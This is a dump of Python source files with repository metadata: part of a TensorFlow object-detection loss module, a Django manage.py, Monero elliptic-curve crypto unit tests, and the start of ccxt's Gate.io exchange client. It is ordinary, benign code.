tf.multiply(self._second_stage_loc_loss_weight, second_stage_loc_loss, name='localization_loss') classification_loss = tf.multiply(self._second_stage_cls_loss_weight, second_stage_cls_loss, name='classification_loss') loss_dict = {localization_loss.op.name: localization_loss, classification_loss.op.name: classification_loss} second_stage_mask_loss = None if prediction_masks is not None: if groundtruth_masks_list is None: raise ValueError('Groundtruth instance masks not provided. ' 'Please configure input reader.') unmatched_mask_label = tf.zeros(image_shape[1:3], dtype=tf.float32) (batch_mask_targets, _, _, batch_mask_target_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_masks_list, unmatched_class_label=unmatched_mask_label, gt_weights_batch=groundtruth_weights_list) # Pad the prediction_masks with to add zeros for background class to be # consistent with class predictions. if prediction_masks.get_shape().as_list()[1] == 1: # Class agnostic masks or masks for one-class prediction. Logic for # both cases is the same since background predictions are ignored # through the batch_mask_target_weights. prediction_masks_masked_by_class_targets = prediction_masks else: prediction_masks_with_background = tf.pad( prediction_masks, [[0, 0], [1, 0], [0, 0], [0, 0]]) prediction_masks_masked_by_class_targets = tf.boolean_mask( prediction_masks_with_background, tf.greater(one_hot_flat_cls_targets_with_background, 0)) mask_height = prediction_masks.shape[2].value mask_width = prediction_masks.shape[3].value reshaped_prediction_masks = tf.reshape( prediction_masks_masked_by_class_targets, [batch_size, -1, mask_height * mask_width]) batch_mask_targets_shape = tf.shape(batch_mask_targets) flat_gt_masks = tf.reshape(batch_mask_targets, [-1, batch_mask_targets_shape[2], batch_mask_targets_shape[3]]) # Use normalized proposals to crop mask targets from image masks. flat_normalized_proposals = box_list_ops.to_normalized_coordinates( box_list.BoxList(tf.reshape(proposal_boxes, [-1, 4])), image_shape[1], image_shape[2]).get() flat_cropped_gt_mask = tf.image.crop_and_resize( tf.expand_dims(flat_gt_masks, -1), flat_normalized_proposals, tf.range(flat_normalized_proposals.shape[0].value), [mask_height, mask_width]) batch_cropped_gt_mask = tf.reshape( flat_cropped_gt_mask, [batch_size, -1, mask_height * mask_width]) second_stage_mask_losses = ops.reduce_sum_trailing_dimensions( self._second_stage_mask_loss( reshaped_prediction_masks, batch_cropped_gt_mask, weights=batch_mask_target_weights), ndims=2) / ( mask_height * mask_width * tf.maximum( tf.reduce_sum( batch_mask_target_weights, axis=1, keep_dims=True ), tf.ones((batch_size, 1)))) second_stage_mask_loss = tf.reduce_sum( tf.boolean_mask(second_stage_mask_losses, paddings_indicator)) if second_stage_mask_loss is not None: mask_loss = tf.multiply(self._second_stage_mask_loss_weight, second_stage_mask_loss, name='mask_loss') loss_dict[mask_loss.op.name] = mask_loss return loss_dict def _padded_batched_proposals_indicator(self, num_proposals, max_num_proposals): batch_size = tf.size(num_proposals) tiled_num_proposals = tf.tile( tf.expand_dims(num_proposals, 1), [1, max_num_proposals]) tiled_proposal_index = tf.tile( tf.expand_dims(tf.range(max_num_proposals), 0), [batch_size, 1]) return tf.greater(tiled_num_proposals, tiled_proposal_index) def _unpad_proposals_and_apply_hard_mining(self, proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals): for (proposal_boxlist, single_image_loc_loss, single_image_cls_loss, single_image_num_proposals) in zip( proposal_boxlists, tf.unstack(second_stage_loc_losses), tf.unstack(second_stage_cls_losses), tf.unstack(num_proposals)): proposal_boxlist = box_list.BoxList( tf.slice(proposal_boxlist.get(), [0, 0], [single_image_num_proposals, -1])) single_image_loc_loss = tf.slice(single_image_loc_loss, [0], [single_image_num_proposals]) single_image_cls_loss = tf.slice(single_image_cls_loss, [0], [single_image_num_proposals]) return self._hard_example_miner( location_losses=tf.expand_dims(single_image_loc_loss, 0), cls_losses=tf.expand_dims(single_image_cls_loss, 0), decoded_boxlist_list=[proposal_boxlist]) def restore_map(self, fine_tune_checkpoint_type='detection', load_all_detection_checkpoint_vars=False): if fine_tune_checkpoint_type not in ['detection', 'classification']: raise ValueError('Not supported fine_tune_checkpoint_type: {}'.format( fine_tune_checkpoint_type)) if fine_tune_checkpoint_type == 'classification': return self._feature_extractor.restore_from_classification_checkpoint_fn( self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope) variables_to_restore = tf.global_variables() variables_to_restore.append(slim.get_or_create_global_step()) # Only load feature extractor variables to be consistent with loading from # a classification checkpoint. include_patterns = None if not load_all_detection_checkpoint_vars: include_patterns = [ self.first_stage_feature_extractor_scope, self.second_stage_feature_extractor_scope ] feature_extractor_variables = tf.contrib.framework.filter_variables( variables_to_restore, include_patterns=include_patterns) return {var.op.name: var for var in feature_extractor_variables}

true

f7015aaa826888850cd8fe4abef03d3587111370

643

py

Python

manage.py

lievertom/2020.2-Projeto-Kokama-Traducao

c9c164ec69a3eba58fcbe0a74a43601346e57755

[ "MIT" ]

1

2021-03-13T02:44:27.000Z

manage.py

luisgaboardi/2020.2-Projeto-Kokama-Traducao

c14edf0611f6dcc7dc6de3249018de9c5cf71604

[ "MIT" ]

21

2021-03-14T01:51:11.000Z

2021-05-25T02:04:23.000Z

manage.py

lievertom/2020.2-Projeto-Kokama-Traducao

c9c164ec69a3eba58fcbe0a74a43601346e57755

[ "MIT" ]

3

2021-04-02T11:06:33.000Z

2021-05-12T21:30:34.000Z

"""Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'translate.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

29.227273

73

0.679627

import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'translate.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

true

f7015abd02d2e91af592e552a6b9c0a139f233d9

9,314

py

Python

monero_glue_test/test_crypto.py

ph4r05/monero-agent

0bac0e6f33142b2bb885565bfd1ef8ac04559280

[ "MIT" ]

20

2018-04-05T22:06:10.000Z

2021-09-18T10:43:44.000Z

monero_glue_test/test_crypto.py

ph4r05/monero-agent

0bac0e6f33142b2bb885565bfd1ef8ac04559280

[ "MIT" ]

null

monero_glue_test/test_crypto.py

ph4r05/monero-agent

0bac0e6f33142b2bb885565bfd1ef8ac04559280

[ "MIT" ]

5

2018-08-06T15:06:04.000Z

2021-07-16T01:58:43.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Dusan Klinec, ph4r05, 2018 import binascii from binascii import unhexlify import unittest import aiounittest from monero_glue.xmr import common, crypto from monero_glue.xmr.core import ec_py class CryptoTest(aiounittest.AsyncTestCase): """Simple tests""" def __init__(self, *args, **kwargs): super(CryptoTest, self).__init__(*args, **kwargs) def test_ed_crypto(self): sqr = ec_py.fe_expmod(ec_py.py_fe_sqrtm1, 2) self.assertEqual(sqr, ec_py.fe_mod(-1)) self.assertEqual( ec_py.py_fe_A, ec_py.fe_mod(2 * (1 - ec_py.d) * ec_py.inv(1 + ec_py.py_d)) ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb1, 2), ec_py.fe_mod(-2 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb2, 2), ec_py.fe_mod(2 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb3, 2), ec_py.fe_mod(-ec_py.py_fe_sqrtm1 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb4, 2), ec_py.fe_mod(ec_py.py_fe_sqrtm1 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) def test_encoding(self): point = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) self.assertEqual(point, crypto.encodepoint(crypto.decodepoint(point))) self.assertTrue( crypto.point_eq( crypto.decodepoint(point), crypto.decodepoint(crypto.encodepoint(crypto.decodepoint(point))), ) ) def test_scalarmult_base(self): scalar = crypto.decodeint( unhexlify( b"a0eea49140a3b036da30eacf64bd9d56ce3ef68ba82ef13571ec511edbcf8303" ) ) exp = unhexlify( b"16bb4a3c44e2ced511fc0d4cd86b13b3af21efc99fb0356199fac489f2544c09" ) res = crypto.scalarmult_base(scalar) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) scalar = crypto.decodeint( unhexlify( b"fd290dce39f781aebbdbd24584ed6d48bd300de19d9c3decfda0a6e2c6751d0f" ) ) exp = unhexlify( b"123daf90fc26f13c6529e6b49bfed498995ac383ef19c0db6771143f24ba8dd5" ) res = crypto.scalarmult_base(scalar) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) def test_scalarmult(self): priv = unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) pub = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) exp = unhexlify( b"adcd1f5881f46f254900a03c654e71950a88a0236fa0a3a946c9b8daed6ef43d" ) res = crypto.scalarmult(crypto.decodepoint(pub), crypto.decodeint(priv)) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) def test_cn_fast_hash(self): inp = unhexlify( b"259ef2aba8feb473cf39058a0fe30b9ff6d245b42b6826687ebd6b63128aff6405" ) res = crypto.cn_fast_hash(inp) self.assertEqual( res, unhexlify( b"86db87b83fb1246efca5f3b0db09ce3fa4d605b0d10e6507cac253dd31a3ec16" ), ) def test_hash_to_scalar(self): inp = unhexlify( b"259ef2aba8feb473cf39058a0fe30b9ff6d245b42b6826687ebd6b63128aff6405" ) res = crypto.hash_to_scalar(inp) exp = crypto.decodeint(binascii.unhexlify( b"9907925b254e12162609fc0dfd0fef2aa4d605b0d10e6507cac253dd31a3ec06")) self.assertTrue(crypto.sc_eq(res, exp)) def test_hash_to_point(self): data = unhexlify( b"42f6835bf83114a1f5f6076fe79bdfa0bd67c74b88f127d54572d3910dd09201" ) res = crypto.hash_to_point(data) res_p = crypto.encodepoint(res) self.assertEqual( res_p, unhexlify( b"54863a0464c008acc99cffb179bc6cf34eb1bbdf6c29f7a070a7c6376ae30ab5" ), ) def test_derivation_to_scalar(self): derivation = unhexlify( b"e720a09f2e3a0bbf4e4ba7ad93653bb296885510121f806acb2a5f9168fafa01" ) scalar = unhexlify( b"25d08763414c379aa9cf989cdcb3cadd36bd5193b500107d6bf5f921f18e470e" ) sc_int = crypto.derivation_to_scalar(crypto.decodepoint(derivation), 0) self.assertEqual(scalar, crypto.encodeint(sc_int)) def test_generate_key_derivation(self): key_pub = crypto.decodepoint( unhexlify( b"7739c95d3298e2f87362dba9e0e0b3980a692ae8e2f16796b0e382098cd6bd83" ) ) key_priv = crypto.decodeint( unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) ) deriv_exp = unhexlify( b"fa188a45a0e4daccc0e6d4f6f6858fd46392104be74183ec0047e7e9f4eaf739" ) self.assertEqual( deriv_exp, crypto.encodepoint(crypto.generate_key_derivation(key_pub, key_priv)), ) def test_h(self): H = unhexlify( b"8b655970153799af2aeadc9ff1add0ea6c7251d54154cfa92c173a0dd39c1f94" ) self.assertEqual(crypto.encodepoint(crypto.xmr_H()), H) def test_h_pow(self): hp = crypto.gen_Hpow(10) self.assertEqual(crypto.encodepoint(hp[0]), crypto.encodepoint(crypto.xmr_H())) for i in range(1, 10): crypto.check_ed25519point(hp[i]) self.assertEqual( crypto.encodepoint(hp[i]), crypto.encodepoint( crypto.scalarmult(crypto.xmr_H(), crypto.sc_init(2 ** i)) ), ) def test_signature(self): for i in range(10): priv = crypto.random_scalar() data = crypto.cn_fast_hash(bytes(bytearray([i]))) c, r, pub = crypto.generate_signature(data, priv) res = crypto.check_signature(data, c, r, pub) self.assertEqual(res, 1) res2 = crypto.check_signature( data, crypto.sc_add(c, crypto.sc_init(1)), r, pub ) self.assertEqual(res2, 0) def test_edhex(self): inputs = [crypto.q - 2 ** 9, crypto.q - 10, 0, 100, 2 ** 200 + 10] + [ common.rand.randrange(0, crypto.q - 2) for _ in range(20) ] for x in inputs: l = crypto.encode_ed25519(x) d = crypto.decode_ed25519(l) self.assertEqual(x, d) def test_modm(self): inputs = [crypto.l - 2 ** 9, crypto.l - 10, 0, 100, 2 ** 200 + 10] + [ common.rand.randrange(0, crypto.l - 2) for _ in range(20) ] for x in inputs: l = crypto.encode_modm(x) d = crypto.decode_modm(l) self.assertEqual(x, d) def test_ge25519_double_scalarmult_vartime2(self): for i in range(10): ap = crypto.random_scalar() bp = crypto.random_scalar() A = crypto.scalarmult_base(ap) B = crypto.scalarmult_base(bp) a = crypto.random_scalar() b = crypto.random_scalar() R = crypto.ge_double_scalarmult_base_vartime2(a, A, b, B) R_exp = crypto.point_add(crypto.scalarmult(A, a), crypto.scalarmult(B, b)) self.assertTrue(crypto.point_eq(R, R_exp)) def test_ge25519_double_scalarmult_vartime(self): for i in range(10): ap = crypto.random_scalar() A = crypto.scalarmult_base(ap) a = crypto.random_scalar() b = crypto.random_scalar() R = crypto.ge_double_scalarmult_base_vartime(a, A, b) R_exp = crypto.point_add(crypto.scalarmult(A, a), crypto.scalarmult_base(b)) self.assertTrue(crypto.point_eq(R, R_exp)) def test_pointadd(self): a = crypto.random_scalar() A = crypto.scalarmult_base(a) A2 = crypto.point_add(A, A) A3 = crypto.point_add(A2, A) A4 = crypto.point_add(A3, A) A8 = crypto.scalarmult(A4, crypto.sc_init(2)) A8p = crypto.point_mul8(A) self.assertTrue(crypto.point_eq(A8p, A8)) self.assertTrue(crypto.point_eq(A4, crypto.scalarmult(A, crypto.sc_init(4)))) self.assertTrue(crypto.point_eq(A3, crypto.scalarmult(A, crypto.sc_init(3)))) def test_sc_inversion(self): res = crypto.new_scalar() inp = crypto.decodeint( unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) ) crypto.sc_inv_into(res, inp) self.assertEqual( binascii.hexlify(crypto.encodeint(res)), b"bcf365a551e6358f3f281a6241d4a25eded60230b60a1d48c67b51a85e33d70e", ) if __name__ == "__main__": unittest.main() # pragma: no cover

35.280303

88

0.613915

import binascii from binascii import unhexlify import unittest import aiounittest from monero_glue.xmr import common, crypto from monero_glue.xmr.core import ec_py class CryptoTest(aiounittest.AsyncTestCase): def __init__(self, *args, **kwargs): super(CryptoTest, self).__init__(*args, **kwargs) def test_ed_crypto(self): sqr = ec_py.fe_expmod(ec_py.py_fe_sqrtm1, 2) self.assertEqual(sqr, ec_py.fe_mod(-1)) self.assertEqual( ec_py.py_fe_A, ec_py.fe_mod(2 * (1 - ec_py.d) * ec_py.inv(1 + ec_py.py_d)) ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb1, 2), ec_py.fe_mod(-2 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb2, 2), ec_py.fe_mod(2 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb3, 2), ec_py.fe_mod(-ec_py.py_fe_sqrtm1 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) self.assertEqual( ec_py.fe_expmod(ec_py.py_fe_fffb4, 2), ec_py.fe_mod(ec_py.py_fe_sqrtm1 * ec_py.py_fe_A * (ec_py.py_fe_A + 2)), ) def test_encoding(self): point = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) self.assertEqual(point, crypto.encodepoint(crypto.decodepoint(point))) self.assertTrue( crypto.point_eq( crypto.decodepoint(point), crypto.decodepoint(crypto.encodepoint(crypto.decodepoint(point))), ) ) def test_scalarmult_base(self): scalar = crypto.decodeint( unhexlify( b"a0eea49140a3b036da30eacf64bd9d56ce3ef68ba82ef13571ec511edbcf8303" ) ) exp = unhexlify( b"16bb4a3c44e2ced511fc0d4cd86b13b3af21efc99fb0356199fac489f2544c09" ) res = crypto.scalarmult_base(scalar) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) scalar = crypto.decodeint( unhexlify( b"fd290dce39f781aebbdbd24584ed6d48bd300de19d9c3decfda0a6e2c6751d0f" ) ) exp = unhexlify( b"123daf90fc26f13c6529e6b49bfed498995ac383ef19c0db6771143f24ba8dd5" ) res = crypto.scalarmult_base(scalar) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) def test_scalarmult(self): priv = unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) pub = unhexlify( b"2486224797d05cae3cba4be043be2db0df381f3f19cfa113f86ab38e3d8d2bd0" ) exp = unhexlify( b"adcd1f5881f46f254900a03c654e71950a88a0236fa0a3a946c9b8daed6ef43d" ) res = crypto.scalarmult(crypto.decodepoint(pub), crypto.decodeint(priv)) self.assertEqual(exp, crypto.encodepoint(res)) self.assertTrue(crypto.point_eq(crypto.decodepoint(exp), res)) def test_cn_fast_hash(self): inp = unhexlify( b"259ef2aba8feb473cf39058a0fe30b9ff6d245b42b6826687ebd6b63128aff6405" ) res = crypto.cn_fast_hash(inp) self.assertEqual( res, unhexlify( b"86db87b83fb1246efca5f3b0db09ce3fa4d605b0d10e6507cac253dd31a3ec16" ), ) def test_hash_to_scalar(self): inp = unhexlify( b"259ef2aba8feb473cf39058a0fe30b9ff6d245b42b6826687ebd6b63128aff6405" ) res = crypto.hash_to_scalar(inp) exp = crypto.decodeint(binascii.unhexlify( b"9907925b254e12162609fc0dfd0fef2aa4d605b0d10e6507cac253dd31a3ec06")) self.assertTrue(crypto.sc_eq(res, exp)) def test_hash_to_point(self): data = unhexlify( b"42f6835bf83114a1f5f6076fe79bdfa0bd67c74b88f127d54572d3910dd09201" ) res = crypto.hash_to_point(data) res_p = crypto.encodepoint(res) self.assertEqual( res_p, unhexlify( b"54863a0464c008acc99cffb179bc6cf34eb1bbdf6c29f7a070a7c6376ae30ab5" ), ) def test_derivation_to_scalar(self): derivation = unhexlify( b"e720a09f2e3a0bbf4e4ba7ad93653bb296885510121f806acb2a5f9168fafa01" ) scalar = unhexlify( b"25d08763414c379aa9cf989cdcb3cadd36bd5193b500107d6bf5f921f18e470e" ) sc_int = crypto.derivation_to_scalar(crypto.decodepoint(derivation), 0) self.assertEqual(scalar, crypto.encodeint(sc_int)) def test_generate_key_derivation(self): key_pub = crypto.decodepoint( unhexlify( b"7739c95d3298e2f87362dba9e0e0b3980a692ae8e2f16796b0e382098cd6bd83" ) ) key_priv = crypto.decodeint( unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) ) deriv_exp = unhexlify( b"fa188a45a0e4daccc0e6d4f6f6858fd46392104be74183ec0047e7e9f4eaf739" ) self.assertEqual( deriv_exp, crypto.encodepoint(crypto.generate_key_derivation(key_pub, key_priv)), ) def test_h(self): H = unhexlify( b"8b655970153799af2aeadc9ff1add0ea6c7251d54154cfa92c173a0dd39c1f94" ) self.assertEqual(crypto.encodepoint(crypto.xmr_H()), H) def test_h_pow(self): hp = crypto.gen_Hpow(10) self.assertEqual(crypto.encodepoint(hp[0]), crypto.encodepoint(crypto.xmr_H())) for i in range(1, 10): crypto.check_ed25519point(hp[i]) self.assertEqual( crypto.encodepoint(hp[i]), crypto.encodepoint( crypto.scalarmult(crypto.xmr_H(), crypto.sc_init(2 ** i)) ), ) def test_signature(self): for i in range(10): priv = crypto.random_scalar() data = crypto.cn_fast_hash(bytes(bytearray([i]))) c, r, pub = crypto.generate_signature(data, priv) res = crypto.check_signature(data, c, r, pub) self.assertEqual(res, 1) res2 = crypto.check_signature( data, crypto.sc_add(c, crypto.sc_init(1)), r, pub ) self.assertEqual(res2, 0) def test_edhex(self): inputs = [crypto.q - 2 ** 9, crypto.q - 10, 0, 100, 2 ** 200 + 10] + [ common.rand.randrange(0, crypto.q - 2) for _ in range(20) ] for x in inputs: l = crypto.encode_ed25519(x) d = crypto.decode_ed25519(l) self.assertEqual(x, d) def test_modm(self): inputs = [crypto.l - 2 ** 9, crypto.l - 10, 0, 100, 2 ** 200 + 10] + [ common.rand.randrange(0, crypto.l - 2) for _ in range(20) ] for x in inputs: l = crypto.encode_modm(x) d = crypto.decode_modm(l) self.assertEqual(x, d) def test_ge25519_double_scalarmult_vartime2(self): for i in range(10): ap = crypto.random_scalar() bp = crypto.random_scalar() A = crypto.scalarmult_base(ap) B = crypto.scalarmult_base(bp) a = crypto.random_scalar() b = crypto.random_scalar() R = crypto.ge_double_scalarmult_base_vartime2(a, A, b, B) R_exp = crypto.point_add(crypto.scalarmult(A, a), crypto.scalarmult(B, b)) self.assertTrue(crypto.point_eq(R, R_exp)) def test_ge25519_double_scalarmult_vartime(self): for i in range(10): ap = crypto.random_scalar() A = crypto.scalarmult_base(ap) a = crypto.random_scalar() b = crypto.random_scalar() R = crypto.ge_double_scalarmult_base_vartime(a, A, b) R_exp = crypto.point_add(crypto.scalarmult(A, a), crypto.scalarmult_base(b)) self.assertTrue(crypto.point_eq(R, R_exp)) def test_pointadd(self): a = crypto.random_scalar() A = crypto.scalarmult_base(a) A2 = crypto.point_add(A, A) A3 = crypto.point_add(A2, A) A4 = crypto.point_add(A3, A) A8 = crypto.scalarmult(A4, crypto.sc_init(2)) A8p = crypto.point_mul8(A) self.assertTrue(crypto.point_eq(A8p, A8)) self.assertTrue(crypto.point_eq(A4, crypto.scalarmult(A, crypto.sc_init(4)))) self.assertTrue(crypto.point_eq(A3, crypto.scalarmult(A, crypto.sc_init(3)))) def test_sc_inversion(self): res = crypto.new_scalar() inp = crypto.decodeint( unhexlify( b"3482fb9735ef879fcae5ec7721b5d3646e155c4fb58d6cc11c732c9c9b76620a" ) ) crypto.sc_inv_into(res, inp) self.assertEqual( binascii.hexlify(crypto.encodeint(res)), b"bcf365a551e6358f3f281a6241d4a25eded60230b60a1d48c67b51a85e33d70e", ) if __name__ == "__main__": unittest.main()

true

f7015b1b5a99de73f33b4f3d76ad8353923e1995

175,051

py

Python

python/ccxt/async_support/gateio.py

ttodua/ccxt-2

d23db0c44288b3fc0313e798912a1c52c5b42f97

[ "MIT" ]

null

python/ccxt/async_support/gateio.py

ttodua/ccxt-2

d23db0c44288b3fc0313e798912a1c52c5b42f97

[ "MIT" ]

null

python/ccxt/async_support/gateio.py

ttodua/ccxt-2

d23db0c44288b3fc0313e798912a1c52c5b42f97

[ "MIT" ]

null

# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.async_support.base.exchange import Exchange import hashlib from ccxt.base.errors import ExchangeError from ccxt.base.errors import AuthenticationError from ccxt.base.errors import PermissionDenied from ccxt.base.errors import AccountNotEnabled from ccxt.base.errors import AccountSuspended from ccxt.base.errors import ArgumentsRequired from ccxt.base.errors import BadRequest from ccxt.base.errors import BadSymbol from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import InvalidOrder from ccxt.base.errors import OrderNotFound from ccxt.base.errors import NotSupported from ccxt.base.errors import RateLimitExceeded from ccxt.base.errors import ExchangeNotAvailable from ccxt.base.decimal_to_precision import TICK_SIZE from ccxt.base.precise import Precise class gateio(Exchange): def describe(self): return self.deep_extend(super(gateio, self).describe(), { 'id': 'gateio', 'name': 'Gate.io', 'countries': ['KR'], 'rateLimit': 10 / 3, # 300 requests per second or 3.33ms 'version': 'v4', 'certified': True, 'pro': True, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/31784029-0313c702-b509-11e7-9ccc-bc0da6a0e435.jpg', 'doc': 'https://www.gate.io/docs/apiv4/en/index.html', 'www': 'https://gate.io/', 'api': { 'public': { 'wallet': 'https://api.gateio.ws/api/v4', 'futures': 'https://api.gateio.ws/api/v4', 'margin': 'https://api.gateio.ws/api/v4', 'delivery': 'https://api.gateio.ws/api/v4', 'spot': 'https://api.gateio.ws/api/v4', 'options': 'https://api.gateio.ws/api/v4', }, 'private': { 'withdrawals': 'https://api.gateio.ws/api/v4', 'wallet': 'https://api.gateio.ws/api/v4', 'futures': 'https://api.gateio.ws/api/v4', 'margin': 'https://api.gateio.ws/api/v4', 'delivery': 'https://api.gateio.ws/api/v4', 'spot': 'https://api.gateio.ws/api/v4', 'options': 'https://api.gateio.ws/api/v4', }, }, 'test': { 'public': { 'futures': 'https://fx-api-testnet.gateio.ws/api/v4', 'delivery': 'https://fx-api-testnet.gateio.ws/api/v4', }, 'private': { 'futures': 'https://fx-api-testnet.gateio.ws/api/v4', 'delivery': 'https://fx-api-testnet.gateio.ws/api/v4', }, }, 'referral': { 'url': 'https://www.gate.io/ref/2436035', 'discount': 0.2, }, }, 'has': { 'CORS': None, 'spot': True, 'margin': True, 'swap': True, 'future': True, 'option': None, 'cancelAllOrders': True, 'cancelOrder': True, 'createMarketOrder': False, 'createOrder': True, 'createPostOnlyOrder': True, 'createStopLimitOrder': True, 'createStopMarketOrder': False, 'createStopOrder': True, 'fetchBalance': True, 'fetchBorrowRate': False, 'fetchBorrowRateHistories': False, 'fetchBorrowRateHistory': False, 'fetchBorrowRates': False, 'fetchClosedOrders': True, 'fetchCurrencies': True, 'fetchDepositAddress': True, 'fetchDeposits': True, 'fetchFundingHistory': True, 'fetchFundingRate': True, 'fetchFundingRateHistory': True, 'fetchFundingRates': True, 'fetchIndexOHLCV': True, 'fetchLeverage': False, 'fetchLeverageTiers': True, 'fetchMarketLeverageTiers': 'emulated', 'fetchMarkets': True, 'fetchMarkOHLCV': True, 'fetchMyTrades': True, 'fetchNetworkDepositAddress': True, 'fetchOHLCV': True, 'fetchOpenOrders': True, 'fetchOrder': True, 'fetchOrderBook': True, 'fetchPositions': True, 'fetchPremiumIndexOHLCV': False, 'fetchTicker': True, 'fetchTickers': True, 'fetchTime': False, 'fetchTrades': True, 'fetchTradingFee': True, 'fetchTradingFees': True, 'fetchTransactionFees': True, 'fetchWithdrawals': True, 'setLeverage': True, 'setMarginMode': False, 'transfer': True, 'withdraw': True, }, 'api': { 'public': { 'wallet': { 'get': { 'wallet/currency_chains': 1.5, }, }, 'spot': { 'get': { 'currencies': 1, 'currencies/{currency}': 1, 'currency_pairs': 1, 'currency_pairs/{currency_pair}': 1, 'tickers': 1, 'order_book': 1, 'trades': 1, 'candlesticks': 1, }, }, 'margin': { 'get': { 'currency_pairs': 1, 'currency_pairs/{currency_pair}': 1, 'cross/currencies': 1, 'cross/currencies/{currency}': 1, 'funding_book': 1, }, }, 'futures': { 'get': { '{settle}/contracts': 1.5, '{settle}/contracts/{contract}': 1.5, '{settle}/order_book': 1.5, '{settle}/trades': 1.5, '{settle}/candlesticks': 1.5, '{settle}/tickers': 1.5, '{settle}/funding_rate': 1.5, '{settle}/insurance': 1.5, '{settle}/contract_stats': 1.5, '{settle}/liq_orders': 1.5, }, }, 'delivery': { 'get': { '{settle}/contracts': 1.5, '{settle}/contracts/{contract}': 1.5, '{settle}/order_book': 1.5, '{settle}/trades': 1.5, '{settle}/candlesticks': 1.5, '{settle}/tickers': 1.5, '{settle}/insurance': 1.5, }, }, 'options': { 'get': { 'underlyings': 1.5, 'expirations': 1.5, 'contracts': 1.5, 'contracts/{contract}': 1.5, 'settlements': 1.5, 'settlements/{contract}': 1.5, 'order_book': 1.5, 'tickers': 1.5, 'underlying/tickers/{underlying}': 1.5, 'candlesticks': 1.5, 'underlying/candlesticks': 1.5, 'trades': 1.5, }, }, }, 'private': { 'withdrawals': { 'post': { '': 3000, # 3000 = 10 seconds }, 'delete': { '{withdrawal_id}': 300, }, }, 'wallet': { 'get': { 'deposit_address': 300, 'withdrawals': 300, 'deposits': 300, 'sub_account_transfers': 300, 'withdraw_status': 300, 'sub_account_balances': 300, 'fee': 300, 'total_balance': 300, }, 'post': { 'transfers': 300, 'sub_account_transfers': 300, }, }, 'spot': { 'get': { 'accounts': 1, 'open_orders': 1, 'orders': 1, 'orders/{order_id}': 1, 'my_trades': 1, 'price_orders': 1, 'price_orders/{order_id}': 1, }, 'post': { 'batch_orders': 1, 'orders': 1, 'cancel_batch_orders': 1, 'price_orders': 1, }, 'delete': { 'orders': 1, 'orders/{order_id}': 1, 'price_orders': 1, 'price_orders/{order_id}': 1, }, }, 'margin': { 'get': { 'accounts': 1.5, 'account_book': 1.5, 'funding_accounts': 1.5, 'loans': 1.5, 'loans/{loan_id}': 1.5, 'loans/{loan_id}/repayment': 1.5, 'loan_records': 1.5, 'loan_records/{load_record_id}': 1.5, 'auto_repay': 1.5, 'transferable': 1.5, 'cross/accounts': 1.5, 'cross/account_book': 1.5, 'cross/loans': 1.5, 'cross/loans/{loan_id}': 1.5, 'cross/loans/repayments': 1.5, 'cross/transferable': 1.5, 'loan_records/{loan_record_id}': 1.5, 'borrowable': 1.5, 'cross/repayments': 1.5, 'cross/borrowable': 1.5, }, 'post': { 'loans': 1.5, 'merged_loans': 1.5, 'loans/{loan_id}/repayment': 1.5, 'auto_repay': 1.5, 